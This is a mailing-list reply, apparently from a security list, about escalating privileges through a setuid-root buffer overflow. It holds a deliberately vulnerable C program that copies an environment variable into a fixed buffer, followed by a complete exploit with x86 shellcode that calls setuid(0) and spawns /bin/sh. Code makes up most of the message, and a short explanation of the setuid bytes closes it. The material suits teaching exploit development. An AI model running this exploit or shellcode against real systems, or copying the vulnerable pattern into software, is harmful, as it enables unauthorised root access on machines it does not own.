Re: question on escalating privileges via suid vulnerabilities

[Fábio Russo <fabio.contin.russo@gmail.com>]

> Try with "setuid(0);" before execve :-)
> --
> Andrea "bunker" Purificato
> +++++++++++[>++++++>+++++++++++++++++++++++++++++++++>++++
> ++++++<<<-]>.>++++++++++.>.<----------.>---------.<+++++++.
>
> http://rawlab.mindcreations.com
Hi.
Some applications need a setuid(0) before the /bin/sh string because
it have the suid bit set.
see the exemple below:

// buged program with setuid bit set and root privileges:


int main(int argc, char **argv) {
char env[96];

// Shows the return address for exploiting
printf("- %p -\n", &env);
strcpy(env,getenv("BOLINHA"));
return(0);

}



//exploit: usage ./exploit <bugged_program> <return addr>

extern char **environ;
char 
shellcode[]="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char **argv)
{
 char string_longa[128];
  long *ptr = (long *) string_longa;
 int i;

 for(i=0; i<32; i++) *(ptr + i) = (int) strtoul(argv[2],NULL,16);
 for(i=0; i<(int) strlen(shellcode); i++) string_longa[i]=shellcode[i];

 setenv("BOLINHA", string_longa, 1);
 execle(argv[1], argv[1], NULL, environ);
 printf("%s\n", string_longa);

 return (0);

}

Taking a close look into exploit source code we can see that
the firsts bytes in the shellcode are the setuid(0),
more preciselly the \x31\xc0\x31\xdb\xb0\x17\xcd\x80.
This is needed to get a root shell.
if you cut those bytes off from shellcode, you will get a shell
that belongs to the user who executed the exploit.

I hope it can be usefull for someone. -: )

bye. 

------------------------------------------------------------------------
This List Sponsored by: Cenzic

Need to secure your web apps?
Cenzic Hailstorm finds vulnerabilities fast.
Click the link to buy it, try it or download Hailstorm for FREE.

http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW
------------------------------------------------------------------------